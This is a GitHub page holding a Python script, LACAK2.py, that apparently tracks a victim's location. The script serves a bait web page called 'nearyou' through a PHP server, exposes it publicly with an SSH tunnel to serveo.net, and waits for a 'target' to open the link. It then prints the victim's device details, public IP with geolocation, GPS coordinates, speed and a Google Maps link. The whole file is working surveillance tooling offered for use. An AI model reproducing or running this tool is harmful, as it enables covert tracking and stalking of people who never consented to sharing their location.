forked from Ragilf/LACAK2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLACAK2.py
190 lines (167 loc) · 5.39 KB
/
LACAK2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# Thanks To MR.D4PLU17
import os
import sys
import time
import json
import argparse
import requests
import subprocess as subp
R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white
if sys.version_info[0] < 3:
print(R + '\n[-]' + C + ' Execute script with python3...\n' + W)
exit()
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--subdomain', help='Provide Subdomain for Serveo URL ( Optional )')
args = parser.parse_args()
subdom = args.subdomain
result = 'template/nearyou/php/result.txt'
info = 'template/nearyou/php/info.txt'
site = 'nearyou'
version = '1.1.3'
def banner():
os.system('clear')
print (G +
r'''
================================================================
~ Created By : MR.D4PlU17
~ IG : febryan_ragil
~ Support : Purwokerto Cyber Team
~ Version : 1.1.3
=============================================================== ''' + W)
def serveo():
global site, subdom
flag = False
print (G + '[+]' + C + ' Starting PHP Server...' + W)
with open ('php.log', 'w') as phplog:
subp.Popen(['php', '-S', '127.0.0.1:8080', '-t', 'template/'], stderr=phplog, stdout=phplog)
print ('\n' + G + '[+]' + C + ' Getting Serveo URL...' + W + '\n')
if subdom is None:
with open ('serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-oStrictHostKeyChecking=no', '-R', '80:localhost:8080', 'serveo.net'], stdout = tmpfile, stderr = tmpfile, stdin = subp.PIPE)
else:
with open ('serveo.txt', 'w') as tmpfile:
proc = subp.Popen(['ssh', '-oStrictHostKeyChecking=no', '-R', '{}.serveo.net:80:localhost:8080'.format(subdom), 'serveo.net'], stdout = tmpfile, stderr = tmpfile, stdin = subp.PIPE)
while True:
time.sleep(2)
with open ('serveo.txt', 'r') as tmpfile:
try:
stdout = tmpfile.readlines()
if flag == False:
for elem in stdout:
if 'HTTP' in elem:
elem = elem.split(' ')
url = elem[4].strip()
url = url + '/{}/'.format(site)
print (G + '[+]' + C + ' URL : ' + W + url)
flag = True
else:
pass
elif flag == True:
break
except Exception as e:
print (e)
pass
def wait():
printed = False
while True:
time.sleep(2)
size = os.path.getsize(result)
if size == 0 and printed == False:
print('\n' + G + '[+]' + C + ' Tunggu target...' + W + '\n')
printed = True
if size > 0:
main()
def main():
global result
try:
with open (info, 'r') as file2:
file2 = file2.read()
json3 = json.loads(file2)
for value in json3['dev']:
print(G + '[+]' + C + ' Device Information : ' + W + '\n')
print(G + '[+]' + C + ' OS : ' + W + value['os'])
print(G + '[+]' + C + ' Platform : ' + W + value['platform'])
try:
print(G + '[+]' + C + ' CPU Cores : ' + W + value['cores'])
except TypeError:
pass
print(G + '[+]' + C + ' RAM : ' + W + value['ram'])
print(G + '[+]' + C + ' GPU Vendor : ' + W + value['vendor'])
print(G + '[+]' + C + ' GPU : ' + W + value['render'])
print(G + '[+]' + C + ' Resolution : ' + W + value['wd'] + 'x' + value['ht'])
print(G + '[+]' + C + ' Browser : ' + W + value['browser'])
print(G + '[+]' + C + ' Public IP : ' + W + value['ip'])
rqst = requests.get('http://free.ipwhois.io/json/{}'.format(value['ip']))
sc = rqst.status_code
if sc == 200:
data = rqst.text
data = json.loads(data)
print(G + '[+]' + C + ' Continent : ' + W + data['continent'])
print(G + '[+]' + C + ' Country : ' + W + data['country'])
print(G + '[+]' + C + ' Region : ' + W + data['region'])
print(G + '[+]' + C + ' City : ' + W + data['city'])
print(G + '[+]' + C + ' Org : ' + W + data['org'])
print(G + '[+]' + C + ' ISP : ' + W + data['isp'])
except ValueError:
pass
try:
with open (result, 'r') as file:
file = file.read()
json2 = json.loads(file)
for value in json2['info']:
lat = value['lat']
lon = value['lon']
acc = value['acc']
alt = value['alt']
dir = value['dir']
spd = value['spd']
print ('\n' + G + '[+]' + C + ' Location Information : ' + W + '\n')
print (G + '[+]' + C + ' Latitude : ' + W + lat + C + ' deg')
print (G + '[+]' + C + ' Longitude : ' + W + lon + C + ' deg')
print (G + '[+]' + C + ' Accuracy : ' + W + acc + C + ' m')
if alt == '':
print (R + '[-]' + C + ' Altitude : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Altitude : ' + W + alt + C + ' m')
if dir == '':
print (R + '[-]' + C + ' Direction : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Direction : ' + W + dir + C + ' deg')
if spd == '':
print (R + '[-]' + C + ' Speed : ' + W + 'Not Available')
else:
print (G + '[+]' + C + ' Speed : ' + W + spd + C + ' m/s')
except ValueError:
error = file
print ('\n' + R + '[-] ' + W + error)
repeat()
def maps():
print ('\n' + G + '[+]' + C + ' Google Maps : ' + W + 'https://www.google.com/maps/place/' + lat + '+' + lon)
repeat()
maps()
def clear():
global result
with open (result, 'w+'): pass
with open (info, 'w+'): pass
def repeat():
clear()
wait()
main()
def quit():
global result
with open (result, 'w+'): pass
os.system('pkill php')
exit()
try:
banner()
serveo()
wait()
main()
except KeyboardInterrupt:
print ('\n' + R + '[!]' + C + ' Keyboard Interrupt.' + W)
quit()